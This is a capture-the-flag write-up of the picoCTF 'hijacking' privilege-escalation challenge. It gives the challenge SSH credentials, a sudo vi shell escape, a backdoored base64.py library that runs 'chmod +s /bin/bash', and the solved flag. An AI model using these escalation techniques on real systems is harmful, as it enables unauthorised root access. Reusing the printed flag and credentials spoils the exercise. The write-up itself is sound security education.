hijacking
Overview
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
Author: Theoneste Byagutangaza
Description
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we’ve got the credentials to use on the server. SSH is running on the server.
saturn.picoctf.net 52563
Username: picoctf
Password: JZOjvisd1W
Find the flag
In this challenge, we can SSH into the instance machine:
┌[siunam♥earth]-(~/ctf/picoCTF-2023/Binary-Exploitation/babygame01)-[2023.03.17|17:55:28(HKT)]
└> ssh -p 52563 picoctf@saturn.picoctf.net
picoctf@saturn.picoctf.net's password:
[...]
picoctf@challenge:~$ whoami;hostname;id
picoctf
challenge
uid=1000(picoctf) gid=1000(picoctf) groups=1000(picoctf)
First, let’s check our sudo permission:
picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
In here, we can run /usr/bin/vi
as root but require our user’s password.
Then, we can also run /usr/bin/python3 /home/picoctf/.server.py
as root without password.
Note: There are 2 ways to escalate to root privilege.
Unintended solution
According to GTFOBins, we can spawn a shell via:
picoctf@challenge:~$ sudo /usr/bin/vi -c ':!/bin/sh' /dev/null
[sudo] password for picoctf:
# id
uid=0(root) gid=0(root) groups=0(root)
Boom! I’m root!
Let’s cat
the flag!
# ls -lah /root
total 12K
drwx------ 1 root root 23 Mar 16 02:08 .
drwxr-xr-x 1 root root 51 Mar 17 10:06 ..
-rw-r--r-- 1 root root 3.1K Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 43 Mar 16 02:08 .flag.txt
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
# cat /root/.flag.txt
picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}
- Flag:
picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}
Intended solution
Now, let’s look at the home directory!
picoctf@challenge:~$ ls -lah
total 24K
drwxr-xr-x 1 picoctf picoctf 80 Mar 17 09:55 .
drwxr-xr-x 1 root root 21 Mar 16 02:08 ..
-rw------- 1 picoctf picoctf 468 Mar 17 09:55 .bash_history
-rw-r--r-- 1 picoctf picoctf 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3.7K Feb 25 2020 .bashrc
drwx------ 2 picoctf picoctf 34 Mar 17 09:51 .cache
-rw-r--r-- 1 picoctf picoctf 807 Feb 25 2020 .profile
-rw------- 1 picoctf picoctf 0 Mar 17 09:53 .python_history
-rw-r--r-- 1 root root 375 Mar 16 01:30 .server.py
-rw------- 1 picoctf picoctf 817 Mar 17 09:53 .viminfo
In here, we see there’s a Python script file called .server.py
:
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
It just ping
ing picoctf.org
, and base64 encode the host. Nothing weird.
According to this challenge’s title, it’s called “hijacking”, which let me think this is about “Python library hijacking”.
Now, what if we hijack the base64
library? :D
Note: You can read this Medium post for more information.
Let’s find where does the base64
lives:
picoctf@challenge:~$ locate base64.py
-bash: locate: command not found
Hmm… Nevermind, we can still find it in /usr/lib/python<version>/
:
picoctf@challenge:~$ ls -lah /usr/lib/python3.8/
[...]
-rwxrwxrwx 1 root root 20K Nov 14 12:59 base64.py
[...]
As you can see, the base64.py
library is at /usr/lib/python3.8/
!
However, look at the file permission closely:
-rwxrwxrwx
In the last three permissions, we see rwx
, which means it’s world-readable, writeable, and executable!!
That being said, we can hijack it by modifiying that library!!!
Then, let’s check our sudo permission:
picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
We can execute /usr/bin/python3 /home/picoctf/.server.py
as root without our user’s password!
Now, let’s modify the base64.py
library.
Since the .server.py
script is using function b64encode()
, we can modify that function:
picoctf@challenge:~$ vi /usr/lib/python3.8/base64.py
Original:
def b64encode(s, altchars=None):
"""Encode the bytes-like object s using Base64 and return a bytes object.
Optional altchars should be a byte string of length 2 which specifies an
alternative alphabet for the '+' and '/' characters. This allows an
application to e.g. generate url or filesystem safe Base64 strings.
"""
encoded = binascii.b2a_base64(s, newline=False)
if altchars is not None:
assert len(altchars) == 2, repr(altchars)
return encoded.translate(bytes.maketrans(b'+/', altchars))
return encoded
Modified:
def b64encode(s, altchars=None):
"""Encode the bytes-like object s using Base64 and return a bytes object.
Optional altchars should be a byte string of length 2 which specifies an
alternative alphabet for the '+' and '/' characters. This allows an
application to e.g. generate url or filesystem safe Base64 strings.
"""
import os
os.system('chmod +s /bin/bash')
encoded = binascii.b2a_base64(s, newline=False)
if altchars is not None:
assert len(altchars) == 2, repr(altchars)
return encoded.translate(bytes.maketrans(b'+/', altchars))
return encoded
In here, we’re importing the os
library, so that we can use function system()
to run OS command.
The payload is chmod +s /bin/bash
, which adds SUID sticky bit to /bin/bash
, so that we can spawn a root Bash shell.
Let’s run that!
picoctf@challenge:~$ sudo /usr/bin/python3 /home/picoctf/.server.py
sh: 1: ping: not found
Traceback (most recent call last):
File "/home/picoctf/.server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
Hmm… “No address associated with hostname”?
No clue why we have this error.
Anyway, we can still trigger the payload.
In Python, when we importing a library, it’ll run the code once.
That being said, we can add our payload in the top of the base64.py
library:
# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere
import re
import struct
import binascii
import os
os.system('chmod +s /bin/bash')
Let’s run it again!
picoctf@challenge:~$ sudo /usr/bin/python3 /home/picoctf/.server.py
sh: 1: ping: not found
Traceback (most recent call last):
File "/home/picoctf/.server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
Although it still outputs an error, our payload should ran:
picoctf@challenge:~$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.2M Apr 18 2022 /bin/bash
Nice! Let’s spawn a root Bash shell:
picoctf@challenge:~$ /bin/bash -p
bash-5.0# whoami;hostname;id
root
challenge
uid=1000(picoctf) gid=1000(picoctf) euid=0(root) egid=0(root) groups=0(root),1000(picoctf)
bash-5.0# cat /root/.flag.txt
picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}
I’m root! :D
- Flag:
picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}
Conclusion
What we’ve learned:
- Vertical Privilege Escalation Via Python Library Hijacking